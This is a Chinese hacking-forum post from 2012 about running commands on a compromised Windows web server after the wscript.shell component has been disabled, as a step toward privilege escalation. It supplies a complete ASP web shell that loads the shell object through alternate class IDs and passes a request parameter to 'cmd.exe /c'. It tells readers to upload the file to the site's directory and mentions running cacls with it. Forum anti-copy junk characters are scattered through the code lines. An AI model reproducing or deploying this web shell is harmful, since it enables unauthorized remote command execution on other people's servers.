找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1996|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
8 ]% ]2 ?1 w8 Z) M1 w/ b一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
. ]- i1 x0 q1 H, ^8 Z" K5 f要想让运行命令可以试试这种方法,成功率为五五之数。9 ]  |* q* `4 g2 l$ p! p
把下面代码复制:
$ p; [: m& W0 T. F3 p: Q<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>& P2 j2 j2 ~) [7 o
<%if err then%>, d# [. Q1 V& C; L& ]% ~
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
! k) P+ p8 @' G& F<%+ q2 s6 g( J1 o- c
end if  T2 }- h( A: G/ b. U
response.write("<textarea readonly cols=80 rows=20>")
* o* r; W" }5 L, k0 n( ?On Error Resume Next
7 j3 I9 \# G" E6 l1 vresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
' [( F1 u$ N8 g9 j! {response.write("</textarea>")1 a2 E" b( t5 O# b1 |* i3 z
response.write("<form method='post'>")1 y/ [- E: O+ u: P6 a
response.write("<input type=text name='c' size=60><br>")
* T$ m% J  f3 U. tresponse.write("<input type=submit value='执行'></form>")
, G* s, N8 s0 k( J  l) p- u%>3 @& z- F( S6 _3 b6 _
8 t, [  g; b% {% A( N7 s2 Z. h
保存为一个asp文件,然后传到网站目录上去' b( }) c/ M5 Y9 p: F
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
2 A% x3 M$ ^: _; I, |我用此成功运行过cacls命令。
, E. L$ ?% n# T4 Z+ K9 j' y
# h+ A$ k9 T0 [第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表